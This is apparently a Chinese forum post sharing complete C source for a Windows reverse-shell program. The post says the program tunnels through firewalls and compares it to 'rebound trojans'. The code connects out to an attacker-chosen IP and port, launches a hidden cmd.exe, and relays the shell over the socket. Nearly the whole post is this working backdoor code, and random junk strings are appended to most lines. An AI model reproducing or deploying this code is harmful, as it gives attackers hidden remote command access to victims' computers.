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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }O5i/#.lR  
Id'-&tYG  
/* ============================== =l;ewlU  
Rebound port in Windows NT rSk >  
By wind,2006/7 u;"TTN  
===============================*/ WIT>!|w_  
#include @Zu5VpJ  
#include ,j{,h_Op  
|Nn)m  
#pragma comment(lib,"wsock32.lib") RDi]2  
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void OutputShell(); AaOu L,l  
SOCKET sClient; F?*-4I-  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M61xPq8y5  
=pO^7g  
void main(int argc,char **argv) =F~S?y  
{ m|n%$$S&  
WSADATA stWsaData; X,_2FJv  
int nRet; cWaSn7p!X  
SOCKADDR_IN stSaiClient,stSaiServer; I\{ 1u  
XGWSdPJLr  
if(argc != 3) 9'giU r  
{ W=><)miQ@  
printf("Useage:\n\rRebound DestIP DestPort\n"); @7]yl&LZ  
return; oy=js -  
} kk@fL  
xb~yM%*c  
WSAStartup(MAKEWORD(2,2),&stWsaData); ,t?B+$E  
vhW2PzHFRi  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Xll}x+'uZK  
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stSaiClient.sin_family = AF_INET; O!#g<`r{K  
stSaiClient.sin_port = htons(0); uAJx.>$b  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); T{.pM4Hd  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3>AMII  
{ /{aj}M0kN  
printf("Bind Socket Failed!\n"); u(>^3PJ+  
return; L-WT]&n_  
} XB^'K2  
Vpz\.]  
stSaiServer.sin_family = AF_INET; <I\/n<*  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Uw. `7b>B  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); wPd3F.<$  
QUc= &5 %  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^R7lom.  
{ rdP[<Y9  
printf("Connect Error!"); :'-/NtV)o?  
return; gjwn7_  
} ^e_hLX\SW  
OutputShell(); x7&B$.>3  
} @s;;O\  
 EoR}Af  
void OutputShell() IqaT?+O\?r  
{ {yHCXFWlS  
char szBuff[1024]; XK3tgaH  
SECURITY_ATTRIBUTES stSecurityAttributes; v\gLWq'  
OSVERSIONINFO stOsversionInfo; Bi3<7  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; g0=z&2Q[_)  
STARTUPINFO stStartupInfo; P|tO<t6/9*  
char *szShell; B$fPgW-  
PROCESS_INFORMATION stProcessInformation; KE5kOU;  
unsigned long lBytesRead; Q:G4Z9Kt  
(ylTp]~mR-  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {9&;Q|D z  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D rUO-  
stSecurityAttributes.lpSecurityDescriptor = 0; 30#s aGV  
stSecurityAttributes.bInheritHandle = TRUE; /tx]5`#@7]  
;~ )5s'  
y| i,|  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %+W{iu[|  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |^"1{7)  
|P HT694Uz  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); f;o5=)Y  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X1x#6 oi  
stStartupInfo.wShowWindow = SW_HIDE; h6D<go-b56  
stStartupInfo.hStdInput = hReadPipe; TCwFPlF|  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]___M  
!&y8@MD15  
GetVersionEx(&stOsversionInfo); 45@ I*`  
SuJ aL-;  
switch(stOsversionInfo.dwPlatformId) u^ +7hkk  
{ C\Wmq [  
case 1: }_M~2L?i  
szShell = "command.com"; ~?Qe?hB  
break; S}m)OmrmA  
default: !21FR*  
szShell = "cmd.exe"; ,GbR!j@6  
break; UJAv`yjG  
} }I+E\ <  
Jy`B!S_l  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _lJ!R:*  
Pe_W;q.  
send(sClient,szMsg,77,0); wtQ++l%{G  
while(1) \R9(x]nZ%  
{ z1 | TC  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v!-/&}W)1  
if(lBytesRead) 36&e.3/#  
{ F4-$~ v@  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); K*vt;L  
send(sClient,szBuff,lBytesRead,0); w>s,"2&5J  
} .GP T!lDc  
else YNyk1cE  
{ b5dD/-Vj  
lBytesRead=recv(sClient,szBuff,1024,0); 7 UKh688  
if(lBytesRead<=0) break; KI iO  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6EoMt@7g  
} W dK #ZOR  
} ?DS@e@lx  
f M :]&  
return; (?1y4M  
}
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